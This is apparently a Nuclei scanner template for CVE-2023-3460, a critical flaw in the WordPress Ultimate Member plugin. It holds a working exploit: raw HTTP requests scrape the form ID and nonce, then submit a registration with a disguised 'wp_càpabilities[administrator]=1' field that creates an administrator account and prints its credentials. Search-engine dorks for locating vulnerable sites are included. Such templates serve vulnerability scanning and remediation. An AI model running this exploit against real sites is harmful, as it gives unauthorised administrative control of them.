nuclei-templates/http/cves/2023/CVE-2023-3460.yaml

106 lines
3.4 KiB
YAML
Raw Normal View History

id: CVE-2023-3460
info:
name: Ultimate Member < 2.6.7 - Unauthenticated Privilege Escalation
author: DhiyaneshDk
severity: critical
description: |
The plugin does not prevent visitors from creating user accounts with arbitrary capabilities, effectively allowing attackers to create administrator accounts at will. This is actively being exploited in the wild.
2023-09-06 11:43:37 +00:00
remediation: |
Upgrade to Ultimate Member version 2.6.7 or later.
reference:
- https://github.com/gbrsh/CVE-2023-3460
- https://nvd.nist.gov/vuln/detail/CVE-2023-3460
- https://wpscan.com/vulnerability/694235c7-4469-4ffd-a722-9225b19e98d7
- https://blog.wpscan.com/hacking-campaign-actively-exploiting-ultimate-member-plugin/
- https://wordpress.org/plugins/ultimate-member/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-3460
cwe-id: CWE-269
epss-score: 0.08148
epss-percentile: 0.93669
2023-09-06 11:43:37 +00:00
cpe: cpe:2.3:a:ultimatemember:ultimate_member:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
2023-09-06 11:43:37 +00:00
max-request: 4
vendor: ultimatemember
product: ultimate_member
framework: wordpress
2023-09-06 11:43:37 +00:00
publicwww-query: /wp-content/plugins/ultimate-member
google-query: inurl:/wp-content/plugins/ultimate-member
tags: cve,cve2023,wordpress,wp,wp-plugin,auth-bypass,intrusive,kev,wpscan
variables:
username: "{{rand_base(6)}}"
password: "{{rand_base(8)}}"
email: "{{randstr}}@{{rand_base(5)}}.com"
firstname: "{{rand_base(5)}}"
lastname: "{{rand_base(5)}}"
http:
- raw:
- |
GET /wp-content/plugins/ultimate-member/readme.txt HTTP/1.1
Host: {{Hostname}}
- |
GET /index.php/register/?{{version}} HTTP/1.1
Host: {{Hostname}}
- |
GET {{path}} HTTP/1.1
Host: {{Hostname}}
- |
POST {{path}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
user_login-{{formid}}={{username}}&user_email-{{formid}}={{email}}&user_password-{{formid}}={{password}}&confirm_user_password-{{formid}}={{password}}&first_name-{{formid}}={{firstname}}&last_name-{{formid}}={{lastname}}&form_id={{formid}}&um_request=&_wpnonce={{wpnonce}}&wp_c%C3%A0pabilities%5Badministrator%5D=1
matchers:
- type: dsl
dsl:
- contains(to_lower(body_1), "ultimate member")
- regex("wordpress_logged_in_[a-z0-9]{32}", header_4)
- status_code_4 == 302
condition: and
extractors:
- type: regex
name: path
part: location_2
group: 1
regex:
- '([a-z:/.]+)'
internal: true
- type: regex
name: version
part: body_1
group: 1
regex:
- '(?i)Stable.tag:\s?([\w.]+)'
internal: true
- type: regex
name: formid
part: body_3
group: 1
regex:
- 'name="form_id" id="form_id_([0-9]+)"'
internal: true
- type: regex
name: wpnonce
part: body_3
group: 1
regex:
- 'name="_wpnonce" value="([0-9a-z]+)"'
internal: true
- type: dsl
dsl:
- '"WP_USERNAME: "+ username'
- '"WP_PASSWORD: "+ password'
# digest: 4a0a004730450221008229b1140f8e1e5015d72290cfe7f5babf6718059de36dc265dab07c977e22a302207a91b565c346d73819859942e353a9a971cb7f4043413f4b82b4e2af17ad611c:922c64590222798bb761d5b6d8e72950